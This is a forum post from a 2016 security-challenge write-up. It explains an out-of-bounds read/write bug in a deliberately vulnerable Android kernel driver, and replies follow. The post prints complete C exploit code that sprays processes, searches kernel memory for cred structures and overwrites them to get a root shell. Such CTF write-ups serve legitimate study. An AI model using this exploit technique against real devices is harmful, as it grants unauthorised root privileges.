吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 18593|回复: 42
收起左侧

[Android 原创] 吾爱破解2016安全挑战赛第5题Android溢出题

[复制链接]
enimey 发表于 2016-4-7 14:26
漏洞分析
题目为一份驱动源码,答题者需要找到驱动源码中的一个漏洞,并利用该漏洞完成root提权。
源码中提供了`open`、`read`、`write`、`ioctl`共4个函数,其中漏洞出现在`ioctl`函数中,具体代码如下:
[C] 纯文本查看 复制代码
static long mem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
	struct mem_init data;

	if(!arg)
		return -EINVAL;

	if(copy_from_user(&data, (void *)arg, sizeof(data))) {
		return -EFAULT;
	}
	
	if(data.len <= 0 || data.len >= 0x1000000)
		return -EINVAL;

	if(data.idx < 0)
		return -EINVAL;

	switch(cmd) {
		case 0:
			mem_devp[data.idx].size = 0x5a000000 | (data.len & 0xffffff);
			mem_devp[data.idx].data = kmalloc(data.len, GFP_KERNEL);
			if(!mem_devp[data.idx].data) {
				return -ENOMEM;
			}
			memset(mem_devp[data.idx].data, 0, data.len);
			break;
		default:
			return -EINVAL;
	}

	return 0;
}

其中data的值由用户传入,data的类型为mem_init结构体,包含idx和len两个成员。上述代码中,对idx和len做了一些简单校验。在cmd为0时,驱动使用kmalloc申请了len大小的空间,而size的值用了很奇怪的计算方式。我们假设传入的idx为0,len为0x8,前面校验通过,然后进入case 0,其中`mem_devp[0].size`的值为0x5a000008,`mem_devp[data.idx].data`指向大小为0x8的空间。可以看到,通过我们构造的data,size远大于len。
再看`read`函数,具体代码如下:

[Asm] 纯文本查看 复制代码
static ssize_t mem_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos)
{
	unsigned long p =  *ppos;
	unsigned int count = size;
	int ret = 0;
	struct mem_dev *dev = filp->private_data;

	if((dev->size >> 24 & 0xff) != 0x5a)
		return -EFAULT;

	if (p > dev->size)
		return -ENOMEM;

	if (count > dev->size - p)
		count = dev->size - p;

	if (copy_to_user(buf, (void*)(dev->data + p), count)) {
		ret =  -EFAULT;
	} else {
		*ppos += count;
		ret = count;
	}

	return ret;
}

其中buf为用户传入的地址,count为用户传入的大小,dev为`ioctl`中的`mem_devp[data.idx].data`。这里同样有3个简单校验,其一为判断dev的size的高8位的值是否为0x5a;其二为判断文件指针是否超过了dev的size;其三判断用户初入的count是否超过了dev剩下的大小。由上文知道,dev的size值为0x5a000008,也就是说count的值不超过0x5a000008即可通过校验。后面的`copy_to_user`就是将dev的data中的count大小的数据读入buf。注意在`ioctl`里我们只申请了8字节的空间,但是在`read`却可以读入0x5a000008字节的内容!因此这里存在内核读漏洞,同理在`write`中存在内核写漏洞。

漏洞利用
每个进程在内核都有一个cred结构体,该结构体存放了进程的uid、gid等信息,通过修改这个结构体即可完成root提权。在本题目的环境下,cred结构体定义如下:

[Asm] 纯文本查看 复制代码
struct cred {
	unsigned long usage;
	uid_t uid;            /* real UID of the task */
	gid_t gid;            /* real GID of the task */
	uid_t suid;           /* saved UID of the task */
	gid_t sgid;           /* saved GID of the task */
	uid_t euid;           /* effective UID of the task */
	gid_t egid;           /* effective GID of the task */
	uid_t fsuid;          /* UID for VFS ops */
	gid_t fsgid;          /* GID for VFS ops */
	unsigned long securebits;     /* SUID-less security management */
	kernel_cap_t cap_inheritable; /* caps our children can inherit */
	kernel_cap_t cap_permitted;  /* caps we're permitted */
	kernel_cap_t cap_effective;  /* caps we can actually use */
	kernel_cap_t cap_bset;       /* capability bounding set */
	unsigned char jit_keyring;
	void *thread_keyring;
	void *request_key_auth;
	void *tgcred;
	void *security;      /* subjective LSM security */
};

利用思路如下:
1. 创建尽可能多的进程,以使得内核空间中充斥大量的cred结构体,增大root成功率;
2. 使用`ioctl`使得驱动在内核申请一片空间,接着使用`read`读出大片内核数据;
3. 在读出的内核数据中,暴力搜索,与创建的进程的uid、gid、suid、sgid、euid、egid、fsuid、fsgid进行匹配;
4. 匹配成功后,使用`write`修改其cred结构体,完成root;

exp代码如下:
[Asm] 纯文本查看 复制代码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>

#define MAX_CHILDREN_PROCESS 1024

struct cred {
	// unsigned long usage;
	uid_t uid;            /* real UID of the task */
	gid_t gid;            /* real GID of the task */
	uid_t suid;           /* saved UID of the task */
	gid_t sgid;           /* saved GID of the task */
	uid_t euid;           /* effective UID of the task */
	gid_t egid;           /* effective GID of the task */
	uid_t fsuid;          /* UID for VFS ops */
	gid_t fsgid;          /* GID for VFS ops */
	// unsigned long securebits;     /* SUID-less security management */
	// kernel_cap_t cap_inheritable; /* caps our children can inherit */
	// kernel_cap_t cap_permitted;  /* caps we're permitted */
	// kernel_cap_t cap_effective;  /* caps we can actually use */
	// kernel_cap_t cap_bset;       /* capability bounding set */
	// unsigned char jit_keyring;
	// void *thread_keyring;
	// void *request_key_auth;
	// void *tgcred;
	// void *security;      /* subjective LSM security */
} my_cred = {0};

struct mem_init {
	uint32_t idx;
	uint32_t len;
} data = {0, 8};

static pid_t pids[MAX_CHILDREN_PROCESS];

static int children_num;

static void tryRoot()
{
	raise(SIGSTOP);
	
	if (getuid() == 0) {
		printf("root success!\n");
		system("/bin/sh");
	}
	
	exit(0);
}

static void sprayingChildProcess()
{
	int i;
	int pid;
	
	for (i = 0; i < MAX_CHILDREN_PROCESS; ++i) {
		pid = fork();
		if (pid < 0) {
			break;
		}
		else if (pid == 0) {
			tryRoot();
		}
		else {
			pids[i] = pid;
		}
	}
	
	children_num = i;
}

static void setMyCred() {

	uid_t suid;
	gid_t sgid;
	uid_t euid;
	gid_t egid;
	uid_t ruid;
	gid_t rgid;	

	getresuid(&ruid, &euid, &suid);
	getresgid(&rgid, &egid, &sgid);
	
	my_cred.uid = getuid();
	my_cred.gid = getgid();
	my_cred.suid = suid;
	my_cred.sgid = sgid;
	my_cred.euid = euid;
	my_cred.egid = egid;
	my_cred.fsuid = getuid();
	my_cred.fsgid = getgid();
	
}

static int searchCred(int fd) {
	int ret;
	char buf[4096];
	int p;
	int cred;
	
	setMyCred();
	
	ret = ioctl(fd, 0, &data);
	if (ret != 0) {
		perror("ioctl");
		return 0;
	}
	
	while (1) {
		ret = read(fd, buf, 4096);
		if (ret != 4096) {
			perror("read");
			return 0;
		}
		
		p = memmem(buf, 4096, &my_cred, sizeof(my_cred));
		if (p) {
			printf("we found cred.\n");
			cred = p - (int) buf + lseek(fd, 0, SEEK_CUR) - 4096;
			return cred;
		}
	}
	
	return 0;
}

static void modifyCred(int fd, int cred)
{
	struct cred new_cred;
	
	lseek(fd, cred, SEEK_SET);
	memset(&new_cred, 0, sizeof(new_cred));
	write(fd, &new_cred, sizeof(new_cred));
	printf("modify cred over.\n");
}

int main()
{
	int fd;
	int cred;
	int i;
	
	sprayingChildProcess();
	
	fd = open("/dev/memdev0", O_RDWR);
	if (fd < 0) {
		perror("open");
		goto out;
	}
	
	cred = searchCred(fd);
	if (cred == 0) {
		goto out;
	}
	
	modifyCred(fd, cred);
	
out:
	if (fd > 0) {
		close(fd);
	}
	
	for (i = 0; i < children_num; ++i) {
		kill(pids[i], SIGCONT);
	}

	while (1) {
		if (wait(NULL) < 0) {
			break;
		}
	}
	
	return 0;
}


后记
这里还有其他几种root方案,本文提到的是一种比较粗暴的方法,有一定的失败几率,比如当喷射的cred全部都位于驱动kmalloc的下面,`searchCred`就会失败。另外这种通过直接匹配uid、gid的方式总感觉有些不靠谱,还有个更好的方案是匹配thread_info结构体的comm成员,从而找到cred地址,然后利用slab的freelist将本文内存写漏洞转变为内存任意地址写漏洞,最后修改cred结构体信息即可,具体代码留给读者实现。
PS:比赛提交的exp简直太搓了,评委大大手下留情。

免费评分

参与人数 22威望 +2 热心值 +22 收起 理由
siuhoapdou + 1 谢谢@Thanks!
xueyudon + 1 用心讨论,共获提升!
wnagzihxain + 1 哇,这个真的要学习!!!
7777777line + 1 谢谢@Thanks!
yin81972031 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
Hmily + 1 感谢发布原创作品,吾爱破解论坛因你更精彩.
lss123456 + 1 热心回复!
asdnasiudn + 1 我很赞同!
Linco + 1 谢谢@Thanks!
currwin + 1 热心回复!
wanttobeno + 1 exp的核心是修改什么,新手问题
adq_cq + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩.
源代号 + 1 热心回复!
lakshmi + 1 感谢分享,收获大大的有
梦游枪手 + 1 不明觉厉
Terrorblade + 1 谢谢@Thanks!
〇〇木一 + 1 用心讨论,共获提升!
Ericky + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩.
天蝎浪花 + 1 膜拜大神!
辣条哥哥 + 1 这个B给你99分
治愈先生 + 1 谢谢@Thanks!
renfeng + 1 前排出售杜蕾斯、杰士邦、冈本、第六感、诺.

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| enimey 发表于 2016-4-7 14:41
piaoransfx 发表于 2016-4-7 14:37
我居然看不懂。。。

没有讲很细,需要些基础,有句话说的好,Talk is cheap. Show me the code
renfeng 发表于 2016-4-7 14:43
前排出售杜蕾斯、杰士邦、冈本、第六感、诺丝、高邦、诺丝、高邦、双蝶、多乐士避孕套

点评

多乐士不是油漆嘛?  发表于 2016-4-8 16:43
冰楓丶殘瀷 发表于 2016-4-7 14:32
14771063 发表于 2016-4-7 14:37
我来试试
piaoransfx 发表于 2016-4-7 14:37
我居然看不懂。。。
额爱破解 发表于 2016-4-7 14:49
不懂,赞一个
治愈先生 发表于 2016-4-7 14:57
高学霸的样子,以为现在的学识一丁点都看不懂
lijianglei 发表于 2016-4-7 15:25
前排围观,出售瓜子~
Iove 发表于 2016-4-7 16:05
我就占个位置~
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 23:30

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表